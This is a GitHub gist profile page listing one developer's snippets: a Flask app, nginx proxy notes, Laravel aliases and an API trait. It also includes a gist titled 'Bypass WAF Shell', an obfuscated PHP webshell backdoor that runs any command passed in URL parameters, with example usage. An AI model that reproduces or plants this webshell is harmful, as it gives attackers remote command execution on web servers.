Skip to content

Instantly share code, notes, and snippets.

View robyfirnandoyusuf's full-sized avatar
💼
I may be slow to respond.

Roby Firnando Yusuf (Aaron Wang) robyfirnandoyusuf

💼
I may be slow to respond.
View GitHub Profile
@robyfirnandoyusuf
robyfirnandoyusuf / app.py
Created November 3, 2022 06:18
Inspect me pls
import mimetypes
from flask import Flask, render_template, request, Response, send_file, stream_with_context
from random import randint
import time
# Flask constructor takes the name of
# current module (__name__) as argument.
app = Flask(__name__, template_folder='template')
approvals = []
+ z='
'
+ cABz='='\''MD'
+ qWBz=';hFz'
+ CXBz=''\''FDz'
+ gQz='z'\'';r'
+ qCz=''\''OIz'
+ svz=';coz'
+ JRBz=''\'';iP'
@robyfirnandoyusuf
robyfirnandoyusuf / backup-vscode
Created September 4, 2021 12:05
backup-vscode
test
@robyfirnandoyusuf
robyfirnandoyusuf / waf_shell.php
Created August 14, 2021 03:39
Bypass WAF Shell
<!-- Bypass Waf Shell Backdoor -->
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
// shell.php?_=system&__=id
<?php
/**
* @author Nando (c) 2018
* Simple API Trait
*/
namespace App\Traits;
trait APITrait
{
@robyfirnandoyusuf
robyfirnandoyusuf / nginxproxy.md
Created August 14, 2020 09:59 — forked from soheilhy/nginxproxy.md
How to proxy web apps using nginx?

Virtual Hosts on nginx (CSC309)

When hosting our web applications, we often have one public IP address (i.e., an IP address visible to the outside world) using which we want to host multiple web apps. For example, one may wants to host three different web apps respectively for example1.com, example2.com, and example1.com/images on the same machine using a single IP address.

How can we do that? Well, the good news is Internet browsers

@robyfirnandoyusuf
robyfirnandoyusuf / .bashrc
Created July 1, 2020 04:17
Bash laravel aliases cheatsheet
#aliases php artisan
mm(){
php artisan make:model Models/"$1"
}
mmi(){
php artisan make:model -m Models/"$1"
}
mc(){